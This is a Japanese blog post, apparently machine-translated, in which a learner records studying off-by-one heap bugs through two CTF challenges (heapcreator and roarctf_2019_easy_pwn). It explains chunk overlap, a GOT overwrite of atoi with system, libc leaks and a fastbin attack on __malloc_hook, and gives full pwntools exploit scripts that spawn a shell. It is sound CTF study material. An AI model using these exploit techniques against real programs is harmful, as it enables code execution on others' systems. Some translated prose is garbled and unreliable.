技術共有

オフバイワン学習について

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

pwn の基礎はまだ浅いので、私の学習体験を少しだけ記録します。
学習が進むにつれて、知識ポイントや質問が追加されます。

知識のポイント

優れた学習教材

ZIKH26によるオフについての学習まとめ |

チャンク拡張とオーバーラップ | ctfwiki

少し理解

off-by-one と密接に関係しているのは、前述の Chunk Extend と Overlapping です。
これは、「重複ブロック」と呼ばれることがよくあります。
重複するブロックを作成する理由は何ですか?
たとえば、チャンクのヘッダー フィールド、つまり prev_size セグメントと size セグメントを書き換えたい場合、直接適用して変更することはできません。
1 つのアイデアは、間違って配置された偽のチャンクを構築することです。もう 1 つの簡単なアイデアは、サイズ ビットを変更することで、変更したい小さなチャンクのヘッダーを含めるチャンクを作成することです。

[buu] ヒットトレーニングヒープ作成者

トピック

この質問は、off-by-one の使い方の良い例だと思います。問題はそれほど難しくなく、使い方のポイントも非常に巧妙です。

逆コンパイルして抜け穴を見つけます。
画像
ここには人工的なオフバイ 1 があり、ここにさらに 1 バイトを書き込むことができます。

トピックの割り当てに戻りますが、画像
まず、情報を保存するためにサイズ 0x10 のチャンクが割り当てられ、次にコンテンツ用にチャンクが割り当てられます。
ここで gdb のデバッグを見ると、それが非常に明確になります。

たとえば、add(0x28,'0'),add(0x10,'1') 後のヒープ ブロック レイアウト
画像

追加するたびに、最初にヒープ ブロック情報を格納するチャンクを低いアドレスに malloc し、次にコンテンツを格納するチャンクを malloc することがわかります。

そして、編集と表示の操作はすべて を通じて行われることに気づきました。ヒープブロック情報構造を「インデックス」に設定し、libc をリークしたい場合は、このチャンクのヒープ ブロック情報を配置できます。 *content このフィールドは、特定の関数の取得テーブルのアドレスに変更されます。たとえば、この質問で atoi が使用されている場合、表示中に atoi_addr が出力されます。

これには、前の「ちょっとした理解」と同様の状況が含まれます。「ヒープ ブロック情報を格納する」チャンクの内容を直接変更することはできないため、off-by-one をより賢く使用してヒープ ブロックの拡張を実装できます。 。

たとえば、このように変更すると、実際にはヒープ ブロックの拡張と重複が発生する可能性があります。
画像

以下、具体的な活用方法についてお話していきます。

  1. まず、「ストレージ ヒープ情報」ヒープ ブロックを変更する必要があります。サイズ一部。
    このステップは、この情報スタックの上にあるコンテンツ スタックの off-by-one 脆弱性によって実現できます。
  2. 次に、この情報ヒープ ブロックに対応するチャンクのインデックスを解放します。
  3. このとき、delete_heapの実装に従って、
    画像

情報ヒープ ブロックとコンテンツ ヒープ ブロックは両方とも空きになるため、現時点では fastbin に 0x20 と 0x40 の 2 つのサイズのビンがあります。

画像

  1. このとき、0x30チャンクを追加し、0x40 fastbinがコンテンツスタックブロックとして適用され、0x20情報スタックブロックが適用されるため、0x20 binも適用されます。

画像

  1. この質問の重要なポイントは、情報ブロック対応チャンクのサイズと内容が決まります!したがって、対応する情報ヒープ ブロックの内容は、add(0x30) の前のステップで上書きできます。このようにして、内容を atoi の got テーブルに変更することができ、show(1) で libc をリークすることができます。
  2. chunk1 のコンテンツアドレスが変更されているため、edit(1) は atoi の got テーブルの内容を system に変更し、シェルを取得するために "/bin/shx00" を送信します。

もちろん、最後に述べた 0x18 と 0x28 のサイズ選択や、情報スタックを変更するときに情報スタックの内容を予約する必要性など、いくつかの詳細があります。サイズフィールド(そうしないと、最終的な編集に書き込む長さがなくなります)など。

経験:

atoi_got = elf.got['atoi']

add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak

libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p64(system))

sla("Your choice :",b"/bin/shx00")


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

実はこの質問にはもう一つ重要なポイントがあり、私も最初はそこが戸惑っていました。 Master ZIKH の EXP の最初のチャンク 0 の追加は 0x18 です。私自身の実践では、これを 0x10 または 0x20 に変更すると機能しませんでしたが、0x28 に変更すると機能しました。
デバッグの結果、0x10、0x20 に変更すると、ユーザーデータが次のチャンクを有効にしないことがわかりました。前のサイズの。
画像

0x18、0x28 などを割り当てる場合、ptmalloc2 メカニズムは next_chunk の prev_size セグメントを再利用します。
画像

うーん、実際のところ、結局のところ、私はまだヒープについて十分に詳しくありません。やっぱりwikiの説明を見るだけでも知識が多くて内容が複雑なので覚えるのが大変です。もちろん、実戦で遭遇したこともありますが、自分でデバッグして再度理解するとさらに良くなります。

[ぶう] roarctf_2019_easy_pwn

トピック

質問の欠陥はここにあります。画像

a2-a1==10 が if にある場合、つまり編集で入力されたサイズが追加されたサイズよりちょうど 10 大きい場合、off-by-1 が発生します。

おおよその配分構造
画像

または、bss セグメントを使用して、チャンクの使用中と未使用を保存します。*content

0x?8 の特性と組み合わせて off-by-one を引き続き使用できます。 prev_size を再利用して prev_size を偽装し、size を使用して前方 (低アドレス) マージをトリガーします。
画像

この時点で、free(2) によってマージがトリガーされていることがわかります。
画像

このとき、add(0x80)してからshow(1)すると、実際にmain_arena+88の値を出力できます。
画像

私の理解では、ここでの add(0x80) は unsortedbin を分割し、fd ポインタ (main_arena+88) が表示可能な chunk1 セグメントに移動されるようにすることです。

この時点で、libc のベース アドレスが漏洩します。
次の操作には、重複するヒープ ブロックが多数含まれているように感じられるため、段階的なデバッグを見てみましょう。
libc リーク時のヒープ レイアウト
画像

add(0x68)
画像
(未分類の箱から一部を切り取ります)

free(1)
(ファストビン 0x70)
画像

edit(2,p64(malloc_hook-0x23))
(ここでは、前の手順で申請した 0x68 のチャンク 2 が、解放されたばかりのチャンク 1 と重なっているという事実を利用します (チャンク 1 は最初に申請されています)。
画像

add(0x68)
(chunk1を申請していますが、実際にはchunk2です)
画像

add(0x68)
(malloc_hook-0x23 で fake_chunk を返すように適用します)
画像

次に、realloc を使用してスタック フレームを調整する必要があり、シェルを取得できます。

その場合、ローカルでは接続できますが、リモートでは接続できません。
マスター ZIKH の経験値を確認した後、ローカルの
realloc = libcbase + libc.sym['realloc']への変更realloc = libcbase + 0x846c0
次に、one_gadget の値を変更する必要があります
画像

これら 2 つの one_gadget にオフセットがあるのは、現時点では理由がわかりません。おそらく、スタック フレームの調整と関係があるのでしょうか。 (後で学びます)

ローカルExpをプレイ:

add(0x80)
add(0x68)
add(0x80)
add(0x10)

free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed)  size:0x91->0x90
edit(1,0x68+10,pl)

free(2) # trigger consolidate
add(0x80)
show(1)

leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)

add(0x68)
free(1)

edit(2,8,p64(malloc_hook-0x23)) # fake_chunk

add(0x68)

add(0x68)

pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)

add(0xFF)


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

地元:
画像

リモート:
画像


要約すると、難しいです。